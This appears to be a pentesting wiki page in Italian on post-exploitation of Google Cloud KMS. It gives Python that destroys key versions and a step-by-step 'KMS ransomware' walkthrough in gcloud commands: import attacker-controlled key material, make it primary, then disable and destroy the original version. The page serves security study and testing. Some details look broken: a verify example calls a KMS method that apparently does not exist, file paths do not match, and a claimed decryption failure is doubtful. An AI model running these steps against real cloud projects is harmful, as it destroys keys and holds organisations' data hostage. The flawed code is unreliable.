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GCP - KMS Post Exploitation

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KMS

Trova informazioni di base su KMS in:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Un attaccante con questo permesso potrebbe distruggere una versione KMS. Per fare ciò, è necessario prima disabilitare la chiave e poi distruggerla:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

In AWS è possibile rubare completamente una chiave KMS modificando la politica delle risorse KMS e consentendo solo all'account degli attaccanti di utilizzare la chiave. Poiché queste politiche delle risorse non esistono in GCP, ciò non è possibile.

Tuttavia, c'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi:

  • Creare una nuova versione della chiave con un materiale di chiave importato dall'attaccante

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]

  • Impostalo come versione predefinita (per i dati futuri che verranno crittografati)

  • Ri-cifratura dei dati più vecchi crittografati con la versione precedente con la nuova.

  • Elimina la chiave KMS

  • Ora solo l'attaccante, che possiede il materiale della chiave originale, potrebbe essere in grado di decrittografare i dati crittografati

Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati più vecchi:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

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